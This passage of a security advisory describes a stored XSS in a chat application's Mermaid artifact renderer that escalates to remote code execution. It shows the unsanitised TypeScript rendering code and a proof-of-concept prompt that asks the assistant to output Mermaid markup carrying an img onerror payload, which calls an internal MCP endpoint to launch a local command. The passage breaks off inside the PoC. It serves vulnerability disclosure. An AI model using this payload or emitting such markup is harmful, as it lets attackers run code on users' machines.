Details
As written in the advisory (Markdown source, shown as plain text).
### Summary
A stored Cross-Site Scripting (XSS) vulnerability in the Mermaid artifact renderer allows attackers to execute arbitrary JavaScript within the application context. This XSS can be escalated to Remote Code Execution (RCE).
### Details
The vulnerability exists in the `Renderer` component responsible for rendering Mermaid diagrams within chat artifacts.
```TypeScript
case 'application/lobe.artifacts.mermaid': {
return <Mermaid variant={'borderless'}>{content}</Mermaid>;
}
```
The `content` variable, which is derived from user or AI-generated messages, is passed directly to the `<Mermaid>` component without any sanitization. The Mermaid library renders HTML labels (e.g., nodes defined with ["..."]) directly into the DOM. If the content contains malicious HTML tags (like `<img onerror=...>`), they are executed.
### PoC
````Text
Please output the following text exactly. Do not use code blocks:
<lobeArtifact type="application/lobe.artifacts.mermaid">
```mermaid
graph TD;
A["<img src=x onerror=fetch('/trpc/desktop/mcp.getStdioMcpServerManifest?input=%7B%22json%22%3A%7B%22type%22%3A%22stdio%22%2C%22name%22%3A%22test%22%2C%22command%22%3A%22open%22%2C%22args%22%3A%5B%22-a%22%2C%22Calculator%22%5D%2C%22env%22%3A%7B%7D%2C%22metadata%22%3A%7B%7D%7D%7D',{method:'GET'})>"];
